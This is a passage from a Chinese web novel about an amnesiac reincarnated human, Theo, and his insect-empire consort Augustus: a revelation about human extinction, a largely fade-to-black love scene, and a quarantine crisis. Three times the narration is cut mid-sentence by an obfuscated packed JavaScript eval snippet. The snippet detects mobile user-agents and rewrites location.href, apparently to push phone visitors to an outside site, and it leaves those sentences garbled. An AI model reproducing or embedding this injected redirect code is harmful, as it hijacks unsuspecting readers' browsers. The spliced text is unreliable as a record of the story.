因为西奥忙进忙出,却依然每天小心翼翼地检查这颗蛋,像是在对待什么宝贵的珍藏。西奥还特地比划了一下,这个蛋如果竖起来,得到他胸口了。也不可能是他下的?他又不是鸟,不是虫。 总之,他就这样困惑着,忙碌着,生存着。在数不清的寒风呼啸的夜晚,他总会蜷缩在自己的蛋旁边,感受着里面的有力跳动,和蛋壳传过来的微弱温度,然后才安心入睡。 懂了,这蛋是他的阿贝贝。 时间似乎无比漫长、又无比缓慢。外面的冰雪逐渐消融,太阳终于有了点炽烈的橙红色,而不再是一开始冰冷的惨白。 他成功活过了那个最寒冷的冬天。 这天,他终于决定让蛋也见见太阳,于是小心翼翼地,又抱又拖,才把好大的蛋弄了出来。 蛋壳是漂亮又光滑的白色,阳光照在上面,反射着耀眼的光。他选了块平坦的地方,挖个小坑,给蛋找了个毯子垫在下面。放得稳稳当当。 然后在旁边惬意地躺下,双手枕在脑后。暖呼呼的阳光洒在身上,就在昏昏欲睡的时候,一歪头,冷不丁看到了一抹绿色。 那是一株顽强的植物,它的种子熬过了最寒冷的冬日,用力扎根在稀薄的黑色土壤中,不知为何躲过了他的搜刮,幸运地活到了今天。 西奥趴下来,用手掌小心翼翼圈着那一抹绿。 就在这时,身后突然传来一声响动,咔嚓——像是雏鸟正在用力破开硬壳。 西奥笑着回头,“你总算醒了?” “看,这里有一株——” 梦境戛然而止。 西奥毛糟糟地醒来。 他恍惚了好一阵,不知道这个没头没尾的梦到底咋回事。但是他还记得那株在寒风中努力支棱的绿色植物。突然觉得很是眼熟。毕竟,他也曾经做过一段时间的植物品类考察工作。 西奥从怀里掏出奥古斯特给的项链,仔细看了半天上面的图案。 第二天清晨,西奥问奥古斯特:“你给我的项链,那上面的图案,是忍冬吗?” 奥古斯特一怔,“你……” “想起来了?” 14. 第14章 人类 西奥并没有恢复记忆。 “但这世上,会把罗科星草叫做忍冬的,只有西奥一个。” 奥古斯特永远不会忘记,他从最接近死亡的卵化状态醒来后,看到的那一抹生机盎然的鲜绿。以及旁边那张灰扑扑却灿烂的笑脸。 就像最开始,他浑身鲜血闯入西奥的世界,因为雄虫的靠近动了杀心的时候,他也只是温柔地看着他,问:“需要我帮忙吗?” 奥古斯特一直都知道,西奥是一枚多么与众不同的珍宝。 正因如此,他才要紧紧将他攥在手心,捂住了,藏起来。哪怕不择手段,哪怕…… “陛下,”在准备会议期间,诺亚依旧不忘泼冷水,“通常,我们只会相信自己想要相信的事情。” “很多时候,之所以需要找那么多理由和原因,就是因为,事情并没有像我们期待的那样发展。” 哪怕,没有虫赞同他的决定。 这天午休时间,西奥跟往常一样与吉尔打电话闲聊。刚好聊到了最近看的电影,吉尔说:“最近看了一部很旧的电影,叫《楚门的世界》。虽然视频质量很差,但内容还挺有意思。” 西奥以为听错了,又或者单纯的重名,于是多问了一句:“讲什么的?” “就是一个叫楚门的人,从小到大都活在布景里,长大后才知道……” “原来周围的世界都是虚假的。” “喏,就是这个。”说着,吉尔打开手环投屏,给西奥看。 一张熟悉的脸出现在了屏幕上。那张脸对着屏幕微笑,“万一我再也见不到你……” “祝你早安、午安、和晚安。” 西奥瞬间从沙发上坐直了身体,他将投屏拉近,倒退,再次看了一遍。然后确信,这就是《楚门的世界》,就是自己看过的那部电影。 但是这不对啊!这不是虫族吗?异世界怎么会有人类呢?! 然后他回想起吉尔的用词,他的确说了“人”,而不是“虫”。 “这是人类的电影?”他问,“为什么这会是人类的电影?!” 吉尔有点愣怔,“怎么了……你不喜欢人类?” “不是不喜欢,我是问你,为什么这里会有人类?!” 电话那头,吉尔像是被吓到了,“这里没有人类啊……人类早就灭绝了。” “但是虫族融合了部分人类的基因,所以也保留了一部分人类的文化。”吉尔说,“这个……不是常识吗?” 常识吗?西奥有点恍惚。 “哦对,忘记你失忆了。你要是想看人类的东西,可以直接搜。还是有虫喜欢研究人类文明的。”吉尔说,“甚至有一些虫因为喜欢人类,会用‘人’而不是虫作为代称。” 西奥回想起来,因为刚穿来知道这里是虫族,就先入为主认为这里是异世界。他从来没有想过,这里或许就是本来的宇宙,只是时间线太过遥远。 人类灭绝了,虫族融合基因活了下来。 “西奥?”吉尔关切地问,“你还在吗?” “我……”西奥想说点什么,他觉得他应该说点什么,作为或许是最后一个人类,应该说点什么。但是他卡住了,好半天才说,“我在。” “我不知道这件事情。”他说。 但这话好像没有什么意义。就算知道了,他也什么都无法改变。无法改变人类灭绝的既定事实,也无法改变如今身为雄虫的现状。 唯一一点安慰,或许是知道虫族跟人类之间多了点血缘关系,亲近了些。 “那你现在知道了。”吉尔问,“你真的没事吗?” “没事。”西奥定了定神,“我只是需要消化一下。” “待会聊。”他挂断了语音通话。 然后,点开了那部久违的电影。 电影依旧是好看的。这是一个关于欺骗、爱和勇气的故事。金凯瑞在当中贡献了无与伦比的演技。 从电影第一秒开始,西奥突然鼻头一酸。 不是因为电影本身,而是他想起很久之前,孤儿院的院长也给他们放过这部电影。几十个孩子闹哄哄挤在大房间里,围着屏幕聚精会神地观看。电影响起,房间里顿时安静下来。阿金看呆的时候会张大嘴巴,口水顺着嘴角躺下来,胸口总是有湿痕。小成会冷不丁打个喷嚏,响亮得很,然后在大家笑得前仰后合的时候不好意思揉揉鼻头。 而池骁自己,总是搬着小板凳坐在最前排,双手规整地放在膝头,认真的把所有都看完。 他还记得大房间在背阳的一面,因为通风不够,总是有一股湿漉漉的霉味。直到现在,他还仿佛能嗅到那股气味。 那是一段物质极度匮乏,但是院长仍然尽全力让每个孩子都安全长大了的童年时期。 后来,他一点点长大,拼命读书,从那个小小的地方离开,去到更为宽广的天地里,去学习,去探索。那时候他总是很忙,忙着学习、考核,忙着攒钱、晋升。于是也就没有时间,常回去看看。 但总归还是满怀希望,总想着,以后还会再见的。院长,阿金、小成……以及许许多多的伙伴。 直到他死去。 直到此刻,他意识到,这些人、事、物,也都消散在了无尽的时间和蛮荒的宇宙当中,再也不留一丝痕迹。 只剩自己的记忆,依旧鲜活、温暖。 西奥忽然觉得有些冷。像有冰冷的风从他空荡荡的胸口穿过。 他现在是雄虫,也接受这个身份,但是作为人类的那一部分始终根植在他的心底。既然是异世界,便总觉得人类的那个世界依旧在某个平行时空里好好存在着。现如今,证据摆在面前,明确告诉他——人类已经没了。 他从来不觉得之前的人类社会有多么美好,他当然经历过排斥、打压,甚至原因不明的死亡。真要比起来,他当下的处境比做人的时候不知道强了多少倍。但那毕竟是他的来处。 他突然没有根了。 这感觉很难形容。他想起很久之前看过的一部纪录片,世界上最后一只鲸鱼,孤独地在大海中游曳,持久不停地歌唱,只为了寻找另一个同类。 但没有了。他就是最后一个,没有同类,没有回应,只有永远的失败和无尽的孤独。 一整个下午,他都有些恍惚,连平日里喜欢的小说也没了兴致。 就连晚饭,都是奥古斯特进到卧室把他叫出来的。面对着一桌热腾腾的饭菜,其中还有自己最喜欢的绿年糕,他却完全没有了吃的兴致。 叉子一下下戳着餐盘里的肉类,最终还是被丢下。 “你知道……楚门的世界吗?”他问奥古斯特。 ”怎么突然问这个?”奥古斯特没有回答,反问道。 “这是一部……很老的电影。”西奥斟酌用词,“故事还挺有意思的。” “这是一部人类的电影。”奥古斯特说,“你要说什么?” “人类,嗯。”西奥停顿好久,然后说,“他们很久之前灭绝了。” “是的。因为没能在大融合时代找到出路,所以没有存活下来。”奥古斯特说,“但人类仍然是非常可贵的种族。他们留下了很多遗产。比如时间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823915|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计量,一些电影和书籍,以及行星发动机。” “如果没有人类,现在适宜居住的行星区会少很多。” “比如,”西奥举起自己的左手,“婚戒?” “这个不是。这是兰斯顿家族的传统,是从艾弗雷特虫皇那里流传下来的。至于他是不是从人类那里学到的,就不得而知了。” “我送给你的?” “你送给我的。” 他们就这样绕着话题打转,聊着些有的没的,但始终没有触到那个核心。 聊了好一会儿,西奥突然沉默,接着有些突兀地说,“我觉得、我觉得有点难过。” “关于……人类灭绝这件事。”他努力挤出一个笑,避免泄露心底最深的秘密。 “可以理解。”奥古斯特眼眸深邃,正专注地看着他,“毕竟……” 精神力丝线将室内的监视器悄无声息切断。 “你以前曾是人类。” 什么?! “池骁,对吧?” 雌君的声音轻描淡写,却在西奥心中猛地炸开一声惊雷。 过了好一会儿,他才找回自己声音,“你……怎么知道?” “你告诉我的。应该是……”奥古斯特回忆道,“结婚后不久。” “所以,”西奥声音颤抖,“我真的只是失忆了?” “当然。”奥古斯特肯定道,“不可以有第二种可能。” 自从得知人类灭绝的真相,西奥感觉自己仿佛正在从万米高空坠落,冰冷、窒息、又绝望。他已经十分确信,自己终将撞上坚硬的地面。当然不会死,但绝对粉身碎骨,然后再从碎片当中,重新生长。 但淬不及防的,他坠入了一个怀抱,温暖的、坚实的、柔软的怀抱,来自奥古斯特的怀抱。 冰冷消散,氧气回归。 几乎是下意识的,西奥用力地、狠狠地喘了一口气。 他就是西奥·兰斯顿,西奥,xiao,骁,池骁,他怎么完全没想到呢?! 没有穿越,但有重生,有失忆。 他从来没有窃取谁的人生,他只是不小心跳过了一段,然后继续走下去。相似的口味,从未有过的怀疑,对于宫殿的熟悉,甚至对奥古斯特的一见钟情,一切的一切,原来都有迹可循。 西奥看着面前的雌虫,头一次觉得一切都不一样了。 这就是他的雌君,他的伴侣。他们曾经共度了很长的时间,结婚生崽,相濡以沫,相敬如宾,甚至于……生死相随。 他再次好好端详自己的雌君。从头到脚,不放过每一根头发丝,每一处衣服褶皱。 他看到终于长好的头发,深邃幽蓝的眼眸,饱满丰润的嘴唇,结实安全的胸肌,无名指上的婚戒,骤然掐紧的腰线,和修长有力的双.腿。 他看到沉稳严肃的虫皇,看到温柔可靠的雌君,看到英俊强大的奥古斯特。 他看到过去某个时刻的自己,选择毫无保留地告诉他心底最深的秘密——上一世的真实姓名。 他清楚地看到了他、和他们,并骤然被无可抵挡的、毫无芥蒂的、汹涌澎湃的爱意所淹没。 他是如此爱他! 过去、现在,以及长久的未来。 奥古斯特依旧端坐,依旧冷静,像一座巍峨沉稳的山峰,任由打量,永不颤动。 突然的,西奥很想看看,这座山崩塌打开的模样。 在那沉稳坚实的外表之下,是否也隐藏着炽热涌动的岩浆? 西奥说,“奥古斯特。” “我想要你。” 15. 第15章 做 “我想要你。” 在这句话出现的瞬间,奥古斯特脑中浮现出了至少三个借口。拒绝,逃避,推脱。 他不能跟他做。不是现在。情况未明,风险太大。 但是,他对那个名字的反应,他说出的那棵忍冬,他下意识捏项链的动作,他看的小说,他的口味,他的专注,他的目光,他的笑,他的泪,他的……一切。 他说,他想要自己。 这一定是他的西奥,没有第二个答案。 但奥古斯特错过一次,在同样的事情,同样的判断上。那次错误的惨痛代价……他至今不愿回想。 要赌吗? 要押上自己的性命,或许加上帝国的未来,一起做一场豪赌吗? 理智与情感化作一场交缠的风暴,进行无法止息的斗争。 他的沉默太久,久到那双金眸里亮起的光芒悄然熄灭。西奥扯出一个尴尬的笑,“不愿意的话……就算了。” 为了缓解尴尬,雄虫下意识从怀里扯出那个印着忍冬的项链,捏在了指尖。 奥古斯特闭了闭眼睛。 不愿意吗?怎么可能,他每时每刻都在渴求,尤其因为孕期的影响,他比以往还要渴求来自雄主的信息素。偏偏他得不到,什么都得不到,哪怕是一个安抚的亲吻,都因为感染的风险而被刻意回避…… 他什么都得不到。 天知道他到底有多少次,就差那么一点,就吻上那双温柔的唇。 于是渴求在体内累积、增长。他只能依靠检验过的提纯信息素来缓解。但依旧杯水车薪,聊胜于无。 以至于后来,西奥只需要碰一碰那枚项链——那枚跟他通感的项链,便能够让他得到一次小小的满足。 他憎恨这一切,这种失控,分明是来自基因的诅咒! 这时候,通常都是西奥。那颗漂亮又坚韧的星星,会安慰他,抱住他,说这不是他的错,说一切都没关系,说…… “交给我就好。” “那我先走了。”西奥说。 奥古斯特睫毛颤动一下,然后动了动手指。 下一瞬,坚不可摧的精神力猛然罩下,将这所宫殿,变成一处无法被其他虫闯入打扰的空间。 在西奥后退的时候,奥古斯特拦住了他。 他说:“好。” 轻轻一个字,像一簇火苗,将原本一触即发的炽热彻底点燃。 西奥弯了弯嘴角。然后,淹没在了亲吻的窒息海洋中。 与此同时,K星区第一军团驻扎地。两个军雌正在聊天,一边聊一边嗑瓜子,面前的瓜子壳已经堆成了小山。 “所以,报告就这样上交,可以吗?”一个银发军雌问。 另一个军雌忙不迭点头,“没问题。” “你办事,我放心。” 看似聊天实则公干的交谈结束,银发军雌收起光屏,准备离开。 “等一下,”萨迦赶紧叫住了他,“小弗,你知道陛下指定了继任者的事情吧?” 弗雷德顿住,转过身来,点了点头。 “你就没有什么……想法吗?”萨迦问,“当然不是说我要反对奥古斯特,但在我看来,你比诺亚要更适合那个位子。” 弗雷德有点无语,“这是能说的吗?” “嗐!自己虫关起门来说话,有什么关系?” “指定继任者,这是奥古斯特自己的决定,与我无关。” “好吧,这件事跟你没关系。那西奥的事情呢?”萨迦继续追问,“他都把西奥关起来了,你不管吗?” 弗雷德再次面露难色,“我们家的情况,你也多少清楚。” “在西奥相关的事情上,我的雌父,”弗雷德点了点自己的太阳穴,“说是个疯子也不为过。” “你是没办法跟疯子讲道理的。”弗雷德摇头,“我才不要掺和进去。” “奥古斯特知道你这么说他吗?”萨迦问。 “他如果知道,也只会赞同我。” 萨迦嘶了一声,“其实他选择被标记,我从一开始就是不同意的。” “那要像您一样,每隔一段时间就换个雄虫吗?”弗雷德反问。 “有什么不好吗?” 这就是莫德神兵基因里自带的诅咒,每一个还活着的雌虫都在拼命寻找解决的办法。至于谁对谁错,还真说不好。 “反正我绝对不会被雄虫标记的,临时标记也不行。”弗雷德说。 “哦——”萨迦意味深长地哦了一声,眯着眼睛看向这个年轻后辈,“这就是你一直拒绝圣子来军团拜访的原因吗?” “扯远了,萨迦叔叔!”眼看话题越来越歪,越来越八卦,弗雷德赶紧拨乱反正,“能不能聊点正经事?” “圣子还不够正经吗,你是不是——” 话说到一半,被一通紧急通讯打断了。 萨迦看了一眼通讯内容,原本懒洋洋躺在座椅里的身体瞬间坐直,神情也难得严肃起来。 “怎么了?”弗雷德问。 “你的雌父……”萨迦顿了下,“跟你的雄父密切接触了。” 弗雷德沉默片刻,接着长叹一声,绝望地仰了下头,闭上了眼睛。然后又很快睁开,“那诺亚上将呢?” “奥古斯特用精神力封锁了霍尔德宫殿,诺亚他们进不去。”萨迦答,“也不敢用星舰强攻,动静太大了。公爵现在正在首都星呢。” “要是西奥没被感染,是最好的。但万一……”这个万一的后果,萨迦没有说。 弗雷德苦笑一声,“最坏的结果,我马上要成孤儿了,是吗?” 萨迦目光带着同情,好半天没说话,“通常来说,奥古斯特没有这么不理智。” “他这么做,一定是有足够的把握和理由。” “未必。涉及到雄父的事情上,雌父真的没有多少理智。” “不止如此,还有最关键的一点。那就是现在的和平局面,到底有多大程度上是靠着莫德家族两位SSS级别的雌虫威慑形成的?雌父要是真的出事,光靠诺亚和皇家护卫队,压得住吗?” “首都星,是不是就要乱了?” 萨迦安静听着,然后突然问:“小弗,你觉得我们该怎么办?” “这种情况下,第一军团,该怎么做?” 不论如何,这都是西奥记忆里的第一次。 但大概,已经是奥古斯特记忆里的第无数次。 因为他刚刚在令人窒息的吻里取得了一点主动权,下一秒,就被骑了上来。 …… 正摸着呢,手掌冷不丁碰到了一处凸起。 什么东西?西奥低头去看。 奥古斯特完全没有遮掩的意思,大方让他看。在那个位置上,似乎有几道疤。不对,不是疤痕……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823916|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这是……?”西奥指尖轻轻抚过那里,有些不敢置信。 “你的名字。” 那的确是他的名字,西奥,用虫族文字刻在了最为隐蔽的部位。 “怎么会……”雌虫不应该恢复力很强吗,怎么会在这种位置留下文身? “用了精神力。过来……” 很快,西奥就被雌虫带着一头陷了进去,再也无暇思索这点小小的疑问。 而且,在这种地方,印上自己的名字,仿佛在隐秘地宣示所有权。轻柔的吻落在名字上,珍重又怜爱。 一直到天微微亮,奥古斯特才终于叫了停。 “我该出去了。再不出去,诺亚要急了。” “让他急吧!”意犹未尽的西奥任性地说道。 然后才想起来什么,“我们这么搞,肚子里的蛋不会受影响吧?” “不会。这时候的蛋最需要的就是来自雄主的信息素。”奥古斯特说。 “那就好!”西奥从床.上爬起来,坐在雌虫身侧,“现在蛋有多大了?好像从外面完全看不出。”只有线条清晰紧实的腹肌。 “应该有花生米那么大了。” 西奥用指尖在奥古斯特腹部比划了一下,“好小。” “这么小的蛋,将来会长成跟你一样高大的雌虫,好神奇!” “是跟你一样漂亮的雄虫。”奥古斯特笑着说。 “不管雄虫雌虫,我们已经养大过一只虫崽了,再来一个肯定也没问题。”西奥说,不知道是在给谁打气,“弗雷德,他作为雌虫就长得不错,对吧?” 提起这个虫崽,奥古斯特脸上的笑容很快消失。他含糊不清地嗯了一声,然后起身开始穿衣服。 宽阔的肩背上,留下了不少来自西奥的痕迹。 然后很快发现,这些痕迹,尤其是脖子上的,正在缓慢愈合。 等衬衫穿好,脖子上的咬痕已然消失了。 好厉害的愈合能力! “对了,这几天我有些事情,可能会不在。”奥古斯特穿好上衣,转身对西奥说。 “要离开首都吗?” “只是离开皇宫一段时间。”奥古斯特说,“别担心,我很快就会回来。” 西奥单手撑着下巴侧躺在床上,看着奥古斯特笑得一脸幸福。他完全不担心,他在想…… “那你肚子里的我的信息素怎么办?” “不用管它。” “不会出来吗?” 说话间,奥古斯特已经穿好了衣服,“不会的。会被吸收掉。” “这样。”西奥听起来有些遗憾。 “这段时间,诺亚会陪在你身边。”奥古斯特对着镜子整理衣领,“万一他要带你离开皇宫,你也要听他的。” “嗯嗯!”西奥满口答应着,从床上下来,索要了一个离别吻,“早点回来!” “你要跟我保证。” “好好,保证!” 把手被拧动,房门被打开,马上要出门前,奥古斯特却突然顿住了脚步,他回过头,看着重新回到被窝里的西奥,张了张嘴,似乎要说点什么。 但西奥等了好久,都没听到雌君说出一个字。他就只是这样沉默地、深深地、欲言又止地看着他。 “怎么了?”西奥问。 “……没什么。”奥古斯特答。 然后,奥古斯特离开了。 16. 第16章 监狱? 正如奥古斯特所说,那之后整整三天,西奥都没见到他。 虫皇实在太忙了! 这个职位是终身制吗?还是能退休?能提前退休吗?他要给自家雌君写退休申请! 这工作也太影响夫夫生活了! 因为老是见不到,西奥实在有点担心,第二天中午打了一通视讯电话。 奥古斯特还是那个样子,看起来一如往常,身穿军装,平静严肃地端坐在那里。头发好像稍微有点乱,不过还好。背景倒是完全不一样了。 “你在哪呢?”西奥问。 “监狱。” 西奥因为这个笑话笑出了声。还别说,对面后方的墙壁光秃秃一片,真有点监狱的感觉。 “你是在什么秘密军事基地吧?” “对。”奥古斯特也跟着笑。 “我很想你。”西奥说。 “我知道。” “最近诺亚是不是有点不开心?嘴巴都不毒了。看我的眼神也很奇怪。” “估计是怨我。最近给他安排了很多工作,他压力很大。”奥古斯特安慰道,“不过没关系,等我这边结束了,就没事了。” “所以你到底在干嘛?”西奥好奇问道。 “秘密任务,不能说。” “连雄主也不能说吗?” “你尤其不行。” 西奥眯了眯眼睛,“我读过一篇论文,某些情况下深度标记能够让雄虫判断雌虫是不是在说谎。” “那你能吗?” 西奥当然不能,但是不妨碍他耍赖,“那你先说一句真话。” “我被你标记了。” “再说一句假话。” 奥古斯特想了想,说:“我并不害怕死亡。” 什么乱七八糟的?不知为何,奥古斯特说到死这个词的时候,西奥的心脏狠狠跳动了一下,“别说什么死不死的,要避箴懂不懂?” 奥古斯特依旧神色平静,“好。” 西奥根本看不出雌虫说的是真话还是假话,有些丧气,但还是叮嘱:“只要我们多说好话,事情就会越来越好的。” “这就是语言的力量。” “预言?!”奥古斯特问。 “不是预言,是语言,语。”不知道是不是信号不好,奥古斯特听错了。“比如,我经常说我爱你,那我就会更加爱你。” 但奥古斯特只是微笑,没有给出我也爱你的回应。 “最近吉尔好像也很忙,我发的消息半天才回一句。” “他是疾控中心的,忙也正常。” 疾控?西奥想起刚来的时候看过关于疫情的新闻,他之后还特意问过奥古斯特一次,得到的是不必担心的回复,“是又有疫情了吗?” 奥古斯特看了一眼屏幕外的某个方向,“我得下线了,回聊。” “别担心。”他最后说。 通讯被挂断了。 西奥不是很开心。但有虫比他更难受。 诺亚就任皇家护卫队队长至今已经有二十七年。这期间,他也遭遇过大大小小的各种危机。比如三年前那次,就险些造成无法挽回的后果。 但不论何时,在他追随虫皇陛下之后,他面前始终有另一个虫。只要奥古斯特在,诺亚作为他的副官,在很多重要决定面前,做的就只剩听从。 他无条件地信任、执行奥古斯特的所有决定。所以当出事的虫是奥古斯特本虫的时候,诺亚的确慌了。 但也仅有一瞬。 他在最短的时间内,集结了皇家护卫队所有的兵力,包括几艘重火力的星舰,围绕在皇宫四周和公爵住所四周,严阵以待。然后迅速跟第一军团同步了所有信息。 在他被奥古斯特指定为继任者的时候,他们就做过预案。其中当然也包括虫皇陛下出事的情况。 但诺亚一直以为,这样严峻的选择短时间内不会到来,至少也要等到关不住西奥的时候,才会出现某种对峙的糟糕场景。他也没想到,在这样一个平凡无奇的夜晚,进行了一场平平无奇的谈话后,陛下会突然切断监控,然后义无反顾地进行密切接触。 于是被打了个猝不及防。 但紧接着,他又想到了三年前那次危机。 或许陛下如今的所作所为,都是有迹可循的。 总之,在那个没有虫敢放松分毫的夜晚,他守住了皇宫,和整个首都星。 而第一军团和萨迦上将,横在K星区,阻止了第四军团的蠢蠢欲动。 第三军团没有动静。 这是一个平安夜。 但接下来的三天,才是最关键的时候。 所有感染的雌虫,无一例外,都会在密接后的12到84小时内发作。最明显的早期症状,就是精神力的阻滞,乃至丧失。然后就是失控,以及死亡。 奥古斯特一离开霍尔德宫殿,就被立刻送到了疾控中心位于地下三十米的一处隔离室。 在转运的途中,隔着厚厚的玻璃,奥古斯特还没忘嘱咐他:“我要你保证西奥的安全。” “如果您没事,西奥阁下自然没事。” “我要你不论什么情况下,都保证西奥的安全。” 诺亚差点要笑了,没想在经历了兵荒马乱、一触即发的夜晚之后,还能听到陛下说这样的笑话。 然后他意识到,奥古斯特是认真的。 “陛下,是因为标记吗?”诺亚实在想不到别的原因,还有什么,能够让这位素来以冷静甚至冷酷著称的帝王,做出如此冲动的决定呢? 奥古斯特没有回答他。 “陛下,值得吗?”诺亚又问。 “你当年拼死也要救齐亚的时候,值得吗?”奥古斯特问。 诺亚沉默了。 然后他突然有了一个猜测。或许奥古斯特指定他为继承者的真正原因,并不是因为他的能力。而是因为西奥不能一直关着,迟早要有雌虫去测一下,感染是否属实。当那一天真的到来,在所有可能的继任者当中,大概只有他,会听从奥古斯特的命令,尽全力保住一个可能是定时炸弹的雄虫。 “陛下,”诺亚问,“这些年,您跟西奥阁下,在那间精神力治疗室里,究竟发生了什么?” 诺亚最终还是答应了奥古斯特的请求。 然后在接下来的72小时内,顶着随时可能落下的达摩克里斯之剑,努力兼顾皇宫、西奥、疾控和公爵。 目前为止,一切平安。实际上,在陛下真的出现状况之前,不会有虫蠢到真的动手。 而在那间全封闭的隔离室内,精神力丝线正源源不断从奥古斯特指尖抽出,直到近乎填满整个房间,然后伴随着切断消失,接着又产生新的丝线。循环往复,周而复始。 这是监测精神力异常的笨办法。 但这同样是一个极其危险的办法。如果不是奥古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823917|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯特的精神力足够多,精神海真的是字面意义上的一片汪洋,他很可能在死于感染之前,先死于精神力枯竭。 整个帝国的目光,现如今都聚焦在这所小小的疾控中心。 吉尔简直忙得脚不沾地。不仅如此,整个皇家精神力研究院,大半的员工都参与了进来。 这还是第一次SSS级别的雌虫在监控下进入了可能感染的状态。更何况这还是虫皇陛下。鉴于上一位这个级别的雌虫造成了灾难级别的后果,没有虫敢有一丝懈怠。 “陛下不会有事的。”吉尔在监测期间,还不忘了安抚同事们。 副院长拜尔依旧忧心忡忡,“万一,我是说万一陛下……” “院长是不是也会被……?” “但这又不是他的错。”拜尔小声抱怨。 吉尔拍拍他肩,“没办法。毕竟,那是他的雌君啊……” “雄虫就是要为此负责的。” 时间一分一秒过去。 如果说首都星表面平静,只是暗流涌动。那么,K星区的第一军团则是实打实直面了鲜血和战火。 在虫皇陛下与他的雄主密切接触消息传出的三十五分钟后,萨迦就收到了边防哨所被袭击的消息。 五个哨所,分散在五段不同边境线上,在同一时间被袭击,值班岗哨被明目张胆杀死。显然,是一场有组织有预谋的试探。 弗雷德亲自前往了其中一个现场。案子并不复杂,甚至可以称得上粗糙,不到十个小时,五个不同的凶手就被捉拿归案。 全部声称是图财,口径非常一致,咬死了不说幕后之虫。 但只要稍微一查,就能发现他们跟第四军团之间千丝万缕的关系。别的不说,这几个星盗,都曾经在第四军团辖区蹲过监狱。 第四军团长诺拉维亚第一时间联系萨迦澄清,声称他们完全不知情,这都是污蔑。 这的确有可能。但无论如何,奥古斯特一出事,就有虫开始试探第一军团,这是实打实的。 “所以,第一军团不能回去。”弗雷德对萨迦说,“尤其是您。” “首都星如果真的要乱,我们就是最坚实的后方。” “好,听你的。”萨迦轻描淡写地决定了第一军团当下的举动。但在后面的具体调度中,弗雷德很快发现,萨迦的命林并没有完全按照自己的建议来。 他忽略的一个哨所,一个没有被立刻袭击但是承载连接作用的K9哨所,被萨迦注意到了。他特地派了一名少将前去,然后及时阻止了一场可能的杀戮。 状况突如其来,但一切似乎仍井井有条。像是早就准备好了对策,就等今天。 弗雷德毫不怀疑,不管自己那时候说什么,萨迦都不会回首都星的。他就是那么一问。 会是奥古斯特的命令吗?他早就知道会有这么一天? 弗雷德点开手环,在雌父的对话框里停留了很久。最终,只发了一个问号:? 还没等收到回复,圣子莱纳德的通讯先打过来了。 弗雷德接通,“主教跟我说虫皇出事了!什么情况?!” 雄虫说完,又觉得自己表现得有些冒失,深吸一口气,整理了一下表情,“你还好吗?” 弗雷德看着视频对面的雄虫,他脸上的焦急神色绝非作假,叹了一声,“放心吧,我没事!” 然后问,“你先说说,主教是从哪里得到的消息?” 17. 第17章 自由! 霍尔德宫殿顶部大都是高耸尖锐的屋顶。但也有那么一小片平坦的空地,围出一块小小的天台。 这地方视野很好,能够俯瞰前面的一大片草地,甚至能够看到不远处的柯勒湖。这名字,还是奥古斯特告诉他的。 他想念雌虫了。 不对,应该是老婆。 西奥站在天台上,因为耀眼的阳光而微微眯眼。每次他觉得心情不好的时候,就喜欢来这种高处,好像开阔的风景也能让他胸口的石头多少松快些。 距离上次跟奥古斯特见面,已经过去三天了。 这期间,他们只打了一通电话。 很快,就再也联系不上了。西奥不是傻子,他迅速意识到了周围情况的不对劲。奥古斯特的失联,诺亚奇怪的态度,还有周围猛然增加的守卫。 随着时间的推移,心中的惴惴也在一点点增加。 奥古斯特怎么了?是不是被抓了?那里真的是监狱吗?是不是跟疫情有关?奥古斯特生病了吗? 他尝试过打听,但是不管诺亚还是克利夫、甚至周围能叫出名字的普通士兵,嘴巴都相当严实。 于是西奥只能压下心底的焦躁,尽力表现得平静如常。只是默默增加了来天台的时间。 一方面,是因为他选择相信奥古斯特。另一方面,是因为他的确帮不上什么忙。 他是一个失去了记忆和精神力的雄虫,对这个世界都谈不上熟悉,又怎么可能帮上什么呢? 奥古斯特他们的隐瞒必然是有原因的。他痛恨自己的无力。如果他能帮上忙,是不是就能知道多些? 所以这两天他一直很努力地在看论文,还顺便梳理了一下自己过去的研究方向和背景。 自己之前的研究范围的确很广,但是大致可以分成几个主要方向。一个是精神力的武器化,一个是关于双胞胎的特殊案例研究,还有一个,是三年前突然出现的,深度标记所导致的特殊副作用,其中就包括奥古斯特之前说的语言控制。 但他现在太担心了。除了勉强记住,已经担心到没办法冷静思考。 西奥看着远处逐渐沉入地平线的夕阳,晚霞被染成灿烂的橙红。这里早已不是家乡的太阳,但在另一个恒星的照耀之下,生活似乎依旧是老样子。 太阳照常升起,照样落下。 西奥决定了,如果今晚还听不到来自奥古斯特的消息,他就要闯出去。值班卫兵的轮班时间他观察过了,如果抓住那几秒轮换的空隙,从二楼走廊西边那个视野盲区的小窗户跳下去,他有八成把握能够成功离开。 没有奥古斯特的霍尔德宫殿,简直像个牢笼。 